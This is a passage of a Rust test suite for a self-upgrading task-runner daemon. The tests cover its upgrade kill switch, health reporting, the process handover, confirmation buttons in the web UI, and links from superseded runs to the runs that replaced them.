13865        assert!(
13866            !update_recheck_due(&checker, Some(&progress)),
13867            "a recheck must not run while an upgrade this deck started is \
13868             still moving"
13869        );
13870    }
13871
13872    #[tokio::test]
13873    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13874        // The same env var the background check honours (`disabled_by_env`)
13875        // must also stop a button press before it ever calls
13876        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
13877        // means "never contact GitHub from this process", and a tap on the
13878        // upgrade button must not override that any more than a broken
13879        // `magi.toml` may. Left unset, this fixture's default config would
13880        // otherwise reach a real, unauthenticated GitHub call.
13881        //
13882        // SAFETY: single-threaded as far as this variable goes - nothing else
13883        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
13884        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
13885        unsafe {
13886            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13887        }
13888        let fx = Fixture::start().await;
13889        let res = fx.post("/api/upgrade", None).await;
13890        unsafe {
13891            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13892        }
13893        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13894        let body = res.json();
13895        assert!(body["to"].is_null(), "there was no release to move to");
13896        assert!(body["parked"].is_null(), "and nothing was parked");
13897        assert!(
13898            body["detail"]
13899                .as_str()
13900                .unwrap()
13901                .contains("disabled by MAGI_NO_AUTOUPDATE"),
13902            "{body:?}"
13903        );
13904    }
13905
13906    #[tokio::test]
13907    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13908        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
13909        // and the route answers from its own logic.
13910        //
13911        // This test used to lean on the fixture's placeholder repo failing
13912        // config discovery, which left `mode = "notify"` - and a live,
13913        // unauthenticated call to the GitHub releases API inside a unit test.
13914        // GitHub allows 60 of those an hour per address, so the suite went red
13915        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
13916        // long as somebody kept re-running it: every attempt spent another
13917        // request. Six reruns across four pull requests were charged to that
13918        // before it was read as a rate limit rather than a flake.
13919        //
13920        // What the assertion is about is the "already current" branch, which
13921        // is reached by there being no newer release *or* nowhere to look. The
13922        // second one needs no network and cannot be rate limited.
13923        let repo = TempDir::new().expect("repo dir");
13924        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13925            .expect("write magi.toml");
13926        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13927
13928        // It must answer 200 and leave the process alone: restarting for an
13929        // upgrade that did not happen parks the run in flight and drops every
13930        // connection to pay for nothing. A probe against a deck already on the
13931        // newest build did exactly that, which is how this case got its own
13932        // branch.
13933        let res = fx.post("/api/upgrade", None).await;
13934        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13935        let body = res.json();
13936        assert!(body["to"].is_null(), "there was no release to move to");
13937        assert!(body["parked"].is_null(), "and nothing was parked");
13938        assert!(
13939            body["detail"]
13940                .as_str()
13941                .unwrap()
13942                .contains("nothing restarted"),
13943            "{body:?}"
13944        );
13945    }
13946
13947    #[tokio::test]
13948    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13949        // `mode = "off"` for the same reason as the test above: a default
13950        // fixture repo falls back to `mode = "notify"`, which would make this
13951        // route's new `update` field a live, unauthenticated GitHub call on
13952        // every assertion in this suite that happens to hit `/api/health`.
13953        let repo = TempDir::new().expect("repo dir");
13954        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13955            .expect("write magi.toml");
13956        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13957
13958        let health = fx.get("/api/health").await.json();
13959        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13960        assert_eq!(
13961            health["update"]["available"], false,
13962            "checking is off, which reads as \"unknown\", not \"none\""
13963        );
13964        assert!(health["update"]["to"].is_null());
13965        assert!(
13966            health["upgrade"].is_null(),
13967            "nothing has ever asked this deck to upgrade"
13968        );
13969    }
13970
13971    #[tokio::test]
13972    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13973        let fx = Fixture::start().await;
13974        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13975
13976        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13977        progress.parked_run = Some("20260905-000000-cd51".to_owned());
13978        progress.advance(crate::updater::Stage::Parking);
13979        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13980
13981        let health = fx.get("/api/health").await.json();
13982        assert_eq!(health["upgrade"]["stage"], "parking");
13983        assert_eq!(health["upgrade"]["from"], "0.5.1");
13984        assert_eq!(health["upgrade"]["to"], "0.5.2");
13985        let waiting_on = health["upgrade"]["waiting_on"]
13986            .as_str()
13987            .expect("waiting_on is set while parking a known run");
13988        assert!(waiting_on.contains("cd51"), "{waiting_on}");
13989        assert!(waiting_on.contains("implementing"), "{waiting_on}");
13990    }
13991
13992    #[tokio::test]
13993    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13994        let fx = Fixture::start().await;
13995        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13996        progress.advance(crate::updater::Stage::Done);
13997        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13998
13999        let health = fx.get("/api/health").await.json();
14000        assert_eq!(health["upgrade"]["stage"], "done");
14001        assert!(
14002            health["upgrade"]["waiting_on"].is_null(),
14003            "nothing to wait on once it is done"
14004        );
14005    }
14006
14007    #[tokio::test]
14008    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
14009        let home = TempDir::new().expect("temp home");
14010        let runs = home.path().join("runs");
14011        std::fs::create_dir_all(&runs).expect("runs dir");
14012        let ui = Ui::new(
14013            Queue::at(home.path().join("queue")),
14014            Questions::at(home.path().join("questions")),
14015            Talks::at(home.path().join("talks")),
14016            runs,
14017            home.path().to_path_buf(),
14018            PathBuf::from("/repo/magi"),
14019        )
14020        .with_launch(launch_idle);
14021        let looping = ui.looping();
14022        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14023            .await
14024            .expect("bind loopback");
14025        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14026
14027        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14028        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14029
14030        hand_over(home.path(), &looping, served, |_| Ok(1))
14031            .await
14032            .expect("hand over");
14033
14034        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
14035        assert_eq!(
14036            after.stage,
14037            crate::updater::Stage::Restarting,
14038            "hand_over owns the record through parking and up to restarting; \
14039             the successor is what finishes it"
14040        );
14041    }
14042
14043    /// The successor is started exactly once on success, and exactly once on
14044    /// failure too (a failed start is reported, never retried).
14045    #[tokio::test]
14046    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
14047        for fail in [false, true] {
14048            let home = TempDir::new().expect("temp home");
14049            let ui = idle_ui(&home);
14050            let looping = ui.looping();
14051            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14052                .await
14053                .expect("bind loopback");
14054            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14055            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14056            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
14057
14058            let calls = std::sync::atomic::AtomicUsize::new(0);
14059            let outcome = hand_over(home.path(), &looping, served, |_| {
14060                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
14061                if fail {
14062                    anyhow::bail!("no exec")
14063                } else {
14064                    Ok(4242)
14065                }
14066            })
14067            .await;
14068            assert_eq!(outcome.is_err(), fail);
14069            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
14070
14071            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
14072                .expect("upgrade.log is written under the home");
14073            for step in [
14074                "entered",
14075                "finish_loop",
14076                "listener released",
14077                "starting the successor",
14078            ] {
14079                assert!(log.contains(step), "missing `{step}` in:\n{log}");
14080            }
14081            assert!(
14082                log.contains(if fail { "did not start" } else { "pid 4242" }),
14083                "{log}"
14084            );
14085        }
14086    }
14087
14088    /// The handover signal is seen however the race falls, and wakes its one
14089    /// waiter once per signal - nothing here can spin.
14090    #[tokio::test]
14091    async fn the_handover_signal_wakes_one_waiter_once() {
14092        let signal = Notify::new();
14093        // Signalled before anyone waits: the stored permit is not lost.
14094        signal.notify_one();
14095        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
14096            .await
14097            .expect("an early signal is still seen");
14098        // One signal, one wake-up: a second wait does not resolve by itself.
14099        assert!(
14100            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14101                .await
14102                .is_err(),
14103            "a consumed signal must not wake a second time"
14104        );
14105        // Signalled while waiting.
14106        let signal = std::sync::Arc::new(signal);
14107        let waiter = tokio::spawn({
14108            let signal = std::sync::Arc::clone(&signal);
14109            async move { wait_for_handover(&signal).await }
14110        });
14111        tokio::time::sleep(Duration::from_millis(20)).await;
14112        assert!(!waiter.is_finished(), "nothing was signalled yet");
14113        signal.notify_one();
14114        tokio::time::timeout(Duration::from_secs(5), waiter)
14115            .await
14116            .expect("a late signal wakes the waiter")
14117            .expect("join");
14118    }
14119
14120    #[tokio::test]
14121    async fn health_says_how_long_a_handover_has_been_stuck() {
14122        let fx = Fixture::start().await;
14123        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14124        progress.advance(crate::updater::Stage::Replaced);
14125        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14126        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14127
14128        let health = fx.get("/api/health").await.json();
14129        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14130        assert!(stuck >= 600, "{stuck}");
14131        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14132    }
14133
14134    fn idle_ui(home: &TempDir) -> Ui {
14135        let runs = home.path().join("runs");
14136        std::fs::create_dir_all(&runs).expect("runs dir");
14137        Ui::new(
14138            Queue::at(home.path().join("queue")),
14139            Questions::at(home.path().join("questions")),
14140            Talks::at(home.path().join("talks")),
14141            runs,
14142            home.path().to_path_buf(),
14143            PathBuf::from("/repo/magi"),
14144        )
14145        .with_launch(launch_idle)
14146    }
14147
14148    /// Run `hand_over` against `ui` and return what the successor was told.
14149    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14150        let looping = ui.looping();
14151        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14152            .await
14153            .expect("bind loopback");
14154        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14155        let told = std::sync::Mutex::new(None);
14156        hand_over(home.path(), &looping, served, |resume| {
14157            *told.lock().unwrap() = Some(resume);
14158            Ok(1)
14159        })
14160        .await
14161        .expect("hand over");
14162        told.into_inner().unwrap().expect("successor was started")
14163    }
14164
14165    #[tokio::test]
14166    async fn a_running_loop_is_resumed_by_the_successor() {
14167        let home = TempDir::new().expect("temp home");
14168        let ui = idle_ui(&home);
14169        ui.start_loop(None).expect("start");
14170        ui.park_for_upgrade().expect("park");
14171        // The idle loop sees the park and ends before the handover fires.
14172        for _ in 0..500 {
14173            if !ui.loop_view(None).running {
14174                break;
14175            }
14176            tokio::time::sleep(Duration::from_millis(2)).await;
14177        }
14178        assert!(handed_over(&home, ui).await, "a running loop must resume");
14179
14180        let successor = idle_ui(&home);
14181        assert!(!successor.loop_view(None).running);
14182        assert!(successor.resume_after_handover(true));
14183        assert!(successor.loop_view(None).running);
14184        successor.stop_loop(None, false).expect("stop");
14185    }
14186
14187    #[tokio::test]
14188    async fn a_second_upgrade_request_keeps_the_resume_intent() {
14189        let home = TempDir::new().expect("temp home");
14190        let ui = idle_ui(&home);
14191        ui.start_loop(None).expect("start");
14192        ui.park_for_upgrade().expect("first park");
14193        ui.park_for_upgrade().expect("second park");
14194        assert!(handed_over(&home, ui).await);
14195    }
14196
14197    #[tokio::test]
14198    async fn a_stop_during_the_handover_wait_is_honoured() {
14199        let home = TempDir::new().expect("temp home");
14200        let ui = idle_ui(&home);
14201        ui.start_loop(None).expect("start");
14202        ui.park_for_upgrade().expect("park");
14203        ui.stop_loop(None, false).expect("stop");
14204        assert!(!handed_over(&home, ui).await);
14205    }
14206
14207    #[tokio::test]
14208    async fn an_idle_loop_stays_stopped_across_the_handover() {
14209        let home = TempDir::new().expect("temp home");
14210        let ui = idle_ui(&home);
14211        ui.park_for_upgrade().expect("park");
14212        assert!(!handed_over(&home, ui).await);
14213
14214        let successor = idle_ui(&home);
14215        assert!(!successor.resume_after_handover(false));
14216        assert!(!successor.loop_view(None).running);
14217    }
14218
14219    #[tokio::test]
14220    async fn a_loop_the_operator_stopped_is_not_resumed() {
14221        let home = TempDir::new().expect("temp home");
14222        let ui = idle_ui(&home);
14223        ui.start_loop(None).expect("start");
14224        ui.stop_loop(None, false).expect("stop");
14225        ui.park_for_upgrade().expect("park");
14226        assert!(!handed_over(&home, ui).await);
14227    }
14228
14229    #[test]
14230    fn only_an_explicit_one_requests_a_resume() {
14231        assert!(!resume_requested(None));
14232        assert!(!resume_requested(Some("0".into())));
14233        assert!(!resume_requested(Some("".into())));
14234        assert!(resume_requested(Some("1".into())));
14235    }
14236
14237    #[test]
14238    fn the_upgrade_button_arms_before_it_restarts_anything() {
14239        // It ends the process the operator is talking to, and a phone in a
14240        // pocket taps things. One tap arms, the second commits.
14241        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14242        assert!(APP_JS.contains("Replace the binary and restart?"));
14243        assert!(APP_JS.contains("function confirmed("));
14244        // Hidden when the loop is somebody else's, matching the 409 above -
14245        // and hidden with nothing to install, matching the 200 "already
14246        // current" branch: an operator on the newest build must not be
14247        // offered a restart that would only park a run for nothing.
14248        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14249        // A park waits for the node in flight, up to an hour for an implement
14250        // wave. Leaving the button reading "Upgrading…" for that long is the
14251        // same mistake as an error rendered off screen: it looks wedged.
14252        assert!(
14253            APP_JS.contains("Parking, then restarting"),
14254            "the button says what it is waiting for"
14255        );
14256        // And nothing to install must give the button back rather than
14257        // pretending a restart is coming.
14258        assert!(APP_JS.contains("if (!out.to)"));
14259    }
14260
14261    #[test]
14262    fn stopping_the_loop_arms_but_starting_does_not() {
14263        // A stray tap must not leave the queue stopped overnight, so a stop is
14264        // two taps through the same helper the upgrade uses; a start stays one.
14265        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14266        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14267        assert!(APP_JS.contains("confirmed(button, question)"));
14268        // The label put back on timeout is the one saved when arming, not a
14269        // hard-coded upgrade caption that would rename the stop button.
14270        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
14271        assert!(APP_JS.contains("const label = btn.textContent;"));
14272        assert!(!APP_JS.contains("Neither direction is guarded"));
14273    }
14274
14275    #[test]
14276    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14277        assert!(
14278            APP_JS.contains("state.health.version"),
14279            "the operator wants to know what is running even with nothing newer"
14280        );
14281        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14282    }
14283
14284    #[test]
14285    fn the_upgrade_button_names_its_destination() {
14286        assert!(
14287            APP_JS.contains("`Update to ${update.to}`"),
14288            "pressing the button should not be a surprise about what it moves to"
14289        );
14290    }
14291
14292    #[test]
14293    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14294        for stage in ["downloading", "replaced", "parking", "restarting"] {
14295            assert!(
14296                APP_JS.contains(&format!("\"{stage}\"")),
14297                "the phone must be able to tell {stage} apart from the others"
14298            );
14299        }
14300        assert!(APP_JS.contains(".waiting_on"));
14301        // What replaced the bare "Cannot reach magi: Failed to fetch": a
14302        // fetch failing while an upgrade is in flight is not an error, it is
14303        // the sub-second gap `bind_waiting` covers, and it must not be
14304        // reported as one.
14305        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14306        assert!(APP_JS.contains("reconnects on its own"));
14307    }
14308
14309    #[test]
14310    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14311        // `Stage::Failed` is terminal on the server and nothing clears it on
14312        // its own - not a fresh start, not time passing - so a full-strip
14313        // takeover for it (the way the busy stages take the strip over,
14314        // correctly, because those are transient) would have hidden
14315        // start/stop/park behind an upgrade notice with no way back short of
14316        // a person editing `upgrade.json` by hand or a later release
14317        // happening to succeed. The failure must instead ride along as a note
14318        // next to whatever control the loop's own state already offers.
14319        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14320            ..APP_JS.find("function upgrade(").expect("upgrade")];
14321        assert!(
14322            !body.contains(
14323                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
14324            ),
14325            "a failed upgrade must not take the whole strip over the way it used to"
14326        );
14327        assert!(
14328            body.contains("upgradeFailNote"),
14329            "the failure has to reach the loop's own note instead"
14330        );
14331        // `quiet` and `control` are the only two places `loop-why` is set from
14332        // this function's own state; both must carry the note through, or a
14333        // future edit to either one would silently drop it again.
14334        assert_eq!(
14335            body.matches("upgradeFailNote].filter(Boolean).join")
14336                .count(),
14337            2,
14338            "both loop-why writers (quiet and control) must fold the note in"
14339        );
14340    }
14341
14342    #[test]
14343    fn an_overdue_upgrade_eventually_asks_for_a_human() {
14344        // The ceiling has to clear a full hour-long park with room to spare,
14345        // or an ordinary implement wave would be reported as a stuck upgrade.
14346        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14347        assert!(APP_JS.contains("function upgradeOverdue("));
14348    }
14349
14350    #[test]
14351    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14352        assert!(
14353            APP_JS.contains("Updated to ${upgradeInfo.to"),
14354            "the operator who asked for the restart wants to know it worked"
14355        );
14356    }
14357
14358    #[test]
14359    fn an_error_is_visible_from_where_the_button_is() {
14360        // The alert used to sit in the flow under the header. On a phone
14361        // scrolled 13 500 px down to a run's action sheet that is off screen,
14362        // so tapping Resume and being told "the loop is running run b455
14363        // right now" looked exactly like a button that did nothing.
14364        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14365            ..APP_CSS.find(".alert-text").expect(".alert-text")];
14366        assert!(
14367            alert.contains("position: fixed"),
14368            "an error about the thing under your thumb has to be visible from \
14369             where your thumb is: {alert}"
14370        );
14371        assert!(
14372            alert.contains("z-index: 25"),
14373            "above the dock (20) and the run-actions FAB (15), so neither \
14374             buries it: {alert}"
14375        );
14376        assert!(
14377            alert.contains("var(--tap)"),
14378            "and clear of the dock and the home indicator: {alert}"
14379        );
14380        // The FAB sits at the same height on the right. An error that covered
14381        // it would hide the button the operator reaches for next.
14382        assert!(
14383            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14384            "the FAB's column stays free: {alert}"
14385        );
14386    }
14387
14388    #[tokio::test]
14389    async fn an_older_attempt_says_what_replaced_it() {
14390        let fx = Fixture::start().await;
14391        let q = fx.queue();
14392        let runs = fx.runs();
14393        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14394        write_run(&runs, first, RunStatus::Stalled);
14395        write_run(&runs, second, RunStatus::Blocked);
14396
14397        let mut t = Task::new(
14398            "one task".to_owned(),
14399            "do it".to_owned(),
14400            PathBuf::from("/repo"),
14401            Source::Human,
14402        );
14403        t.runs = vec![first.to_owned(), second.to_owned()];
14404        q.put(&mut t).expect("put");
14405
14406        // Two cards with the same title and no hint which is which was the
14407        // question: "why are there two of the same, one stalled and one
14408        // blocked?" The older one now names its replacement.
14409        let rows = fx.get("/api/runs").await.json();
14410        let by = |short: &str| -> Value {
14411            rows.as_array()
14412                .unwrap()
14413                .iter()
14414                .find(|r| r["short"] == short)
14415                .cloned()
14416                .unwrap_or(Value::Null)
14417        };
14418        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14419        assert!(
14420            by("bbbb")["superseded_by"].is_null(),
14421            "the latest attempt is not superseded by anything"
14422        );
14423        // Front end: the note has to be rendered, not just carried.
14424        assert!(APP_JS.contains("run.superseded_by"));
14425        assert!(APP_JS.contains("Superseded by"));
14426    }
14427
14428    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14429        let mut t = Task::new(
14430            "one task".to_owned(),
14431            "do it".to_owned(),
14432            PathBuf::from("/repo"),
14433            Source::Human,
14434        );
14435        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14436        t.status = status;
14437        t
14438    }
14439
14440    #[test]
14441    fn source_link_picks_the_page_that_filed_the_task() {
14442        let agent = |node: &str| Source::Agent {
14443            run: "20260904-014455-ab12".to_owned(),
14444            node: node.to_owned(),
14445        };
14446        let chat = source_link(&agent("chat")).expect("chat link");
14447        assert_eq!(chat.kind, "chat");
14448        assert_eq!(chat.id, "20260904-014455-ab12");
14449        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14450        let run = source_link(&agent("implement")).expect("run link");
14451        assert_eq!(
14452            (run.kind, run.href.as_str()),
14453            ("run", "#/runs/20260904-014455-ab12")
14454        );
14455        assert_eq!(source_link(&Source::Human), None);
14456        assert_eq!(
14457            source_link(&Source::Issue {
14458                number: 3,
14459                repo: "o/r".to_owned()
14460            }),
14461            None
14462        );
14463        let odd = source_link(&Source::Agent {
14464            run: "a b/c".to_owned(),
14465            node: "chat".to_owned(),
14466        })
14467        .expect("link");
14468        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14469    }
14470
14471    #[test]
14472    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14473        assert!(
14474            !APP_JS.contains("src.node === \"chat\""),
14475            "inline href rule is back"
14476        );
14477        assert!(
14478            APP_JS.matches("sourceLinkOf(").count() >= 4,
14479            "helper must serve every page"
14480        );
14481        assert!(
14482            APP_JS.matches("openChatLink(").count() >= 3,
14483            "the run page still needs its explicit chat link"
14484        );
14485        assert!(
14486            !APP_JS.contains("const openChat = el("),
14487            "the Queue card duplicates its source label link again"
14488        );
14489        assert!(
14490            APP_JS.contains("metaKids.push(link ? el(\"a\""),
14491            "the task page must link a chat source label too"
14492        );
14493    }
14494
14495    #[test]
14496    fn task_ref_carries_the_source_link_for_a_chat_task() {
14497        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14498        t.source = Source::Agent {
14499            run: "20260904-014455-ab12".to_owned(),
14500            node: "chat".to_owned(),
14501        };
14502        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14503        let v = serde_json::to_value(&out).expect("json");
14504        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14505        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14506        assert_eq!(v["source_label"], t.source.label());
14507
14508        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14509        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14510            .expect("json");
14511        assert!(v["source_link"].is_null(), "{v}");
14512    }
14513
14514    #[test]
14515    fn task_view_serializes_source_link() {
14516        let mut t = Task::new(
14517            "t".to_owned(),
14518            "t".to_owned(),
14519            PathBuf::from("/repo"),
14520            Source::Agent {
14521                run: "20260901-000000-aaaa".to_owned(),
14522                node: "implement".to_owned(),
14523            },
14524        );
14525        t.runs.clear();
14526        let v = serde_json::to_value(TaskView::from(t)).expect("json");
14527        assert_eq!(v["source_link"]["kind"], "run", "{v}");
14528        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14529    }
14530
14531    #[tokio::test]
14532    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14533        let fx = Fixture::start().await;
14534        let runs = fx.runs();
14535        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14536        write_run(&runs, old, RunStatus::Blocked);
14537        write_run(&runs, new, RunStatus::Merged);
14538        let mut t = outcome_task(&[old, new], TaskStatus::Done);
14539        fx.queue().put(&mut t).expect("put");
14540
14541        let view = fx.get(&format!("/api/runs/{old}")).await.json();
14542        let task = &view["task"];
14543        assert_eq!(task["status"], "done");
14544        assert_eq!(task["is_latest"], false);
14545        assert_eq!(task["latest"]["short"], "bbbb");
14546        assert_eq!(task["finished_by"]["id"], new);
14547        assert_eq!(task["finished_by"]["outcome"], "merged");
14548        assert_eq!(task["closed_by_hand"], false);
14549        assert_eq!(view["status"], "blocked", "the run keeps its own status");
14550        assert!(APP_JS.contains("finished_by"));
14551        assert!(APP_JS.contains("superseded by run"));
14552    }
14553
14554    #[tokio::test]
14555    async fn the_latest_run_reports_a_held_task_without_a_successor() {
14556        let fx = Fixture::start().await;
14557        let runs = fx.runs();
14558        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14559        write_run(&runs, old, RunStatus::Stalled);
14560        write_run(&runs, new, RunStatus::Blocked);
14561        let mut t = outcome_task(&[old, new], TaskStatus::Held);
14562        fx.queue().put(&mut t).expect("put");
14563
14564        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14565        assert_eq!(task["status"], "held");
14566        assert_eq!(task["is_latest"], true);
14567        assert!(task["latest"].is_null());
14568        assert!(task["finished_by"].is_null());
14569        assert_eq!(task["closed_by_hand"], false);
14570    }
14571
14572    #[tokio::test]
14573    async fn a_direct_run_has_no_task_outcome() {
14574        let fx = Fixture::start().await;
14575        let runs = fx.runs();
14576        let id = "20260901-000000-aaaa";
14577        write_run(&runs, id, RunStatus::Blocked);
14578        let view = fx.get(&format!("/api/runs/{id}")).await.json();
14579        assert!(view["task"].is_null());
14580    }
14581
14582    #[test]
14583    fn task_outcome_does_not_guess_a_finishing_run() {
14584        let a = "20260901-000000-aaaa";
14585        let b = "20260901-000000-bbbb";
14586        let c = "20260901-000000-cccc";
14587        let dir = tempfile::tempdir().expect("tempdir");
14588        write_run(dir.path(), a, RunStatus::Blocked);
14589        write_run(dir.path(), b, RunStatus::VerifiedNoop);
14590        // `c` has no record: unreadable.
14591        let read = |id: &str| read_run(dir.path(), id).ok();
14592        // Neither a blocked run nor a no-op finished the task; the newest run is
14593        // unreadable and still named.
14594        let t = outcome_task(&[a, b, c], TaskStatus::Done);
14595        let out = task_outcome(&t, a, 3, read);
14596        assert!(out.finished_by.is_none());
14597        assert!(out.closed_by_hand);
14598        let latest = out.latest.expect("latest");
14599        assert_eq!(latest.id, c);
14600        assert_eq!(latest.status, None);
14601        assert_eq!(latest.outcome, "record unreadable");
14602
14603        // A Ready run settles the task as done, so it is named as the finisher.
14604        write_run(dir.path(), c, RunStatus::Ready);
14605        let t = outcome_task(&[a, c], TaskStatus::Done);
14606        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14607        assert_eq!(out.finished_by.expect("finisher").id, c);
14608        assert!(!out.closed_by_hand);
14609
14610        // A resumed run id repeats: it is still the latest by id.
14611        let t = outcome_task(&[a, b, a], TaskStatus::Held);
14612        assert!(task_outcome(&t, a, 3, read).is_latest);
14613    }
14614
14615    #[tokio::test]
14616    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14617        // The list route has known this since the card fix above; the detail
14618        // route — what an operator actually opens from a notification about
14619        // a blocked run — did not, and went on showing a bare red BLOCKED
14620        // chip for a run a retry had already finished.
14621        let fx = Fixture::start().await;
14622        let q = fx.queue();
14623        let runs = fx.runs();
14624        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14625        write_run(&runs, first, RunStatus::Blocked);
14626        write_run(&runs, second, RunStatus::Merged);
14627
14628        let mut t = Task::new(
14629            "one task".to_owned(),
14630            "do it".to_owned(),
14631            PathBuf::from("/repo"),
14632            Source::Human,
14633        );
14634        t.runs = vec![first.to_owned(), second.to_owned()];
14635        q.put(&mut t).expect("put");
14636
14637        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14638        assert_eq!(earlier["superseded_by"], "dddd");
14639        assert_eq!(earlier["latest_attempt"]["id"], second);
14640        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14641        assert_eq!(
14642            earlier["latest_attempt"]["resolved"], true,
14643            "the run that replaced it landed, so this one reads as settled"
14644        );
14645
14646        let later = fx.get(&format!("/api/runs/{second}")).await.json();
14647        assert!(
14648            later["superseded_by"].is_null(),
14649            "the latest attempt is not superseded by anything"
14650        );
14651        assert!(
14652            later["latest_attempt"].is_null(),
14653            "the latest attempt has no later attempt of its own"
14654        );
14655
14656        // Front end: the detail page has to read the field this route now
14657        // carries, downgrade the chip, and link to the run that replaced it —
14658        // not just repeat the list card's own logic under a different name.
14659        // The link is built off `latest_attempt.id`, the server-resolved
14660        // full id, never a bare short string a client would have to guess a
14661        // full run from.
14662        assert!(APP_JS.contains("run.latest_attempt"));
14663        assert!(APP_JS.contains("data-superseded"));
14664        assert!(APP_JS.contains("#/runs/${latest.id}"));
14665    }
14666
14667    #[tokio::test]
14668    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14669        // A -> B -> C, all Blocked except the last. A's immediate successor
14670        // (superseded_by) is B, which is itself unresolved; what an operator
14671        // opening A's page actually needs is where the task's story stands
14672        // *now* - C, not B - without depending on whether C happens to be in
14673        // whatever page of /api/runs the client last cached.
14674        let fx = Fixture::start().await;
14675        let q = fx.queue();
14676        let runs = fx.runs();
14677        let (a, b, c) = (
14678            "20260901-000000-aaaa",
14679            "20260901-000000-bbbb",
14680            "20260901-000000-cccc",
14681        );
14682        write_run(&runs, a, RunStatus::Blocked);
14683        write_run(&runs, b, RunStatus::Blocked);
14684        write_run(&runs, c, RunStatus::Merged);
14685
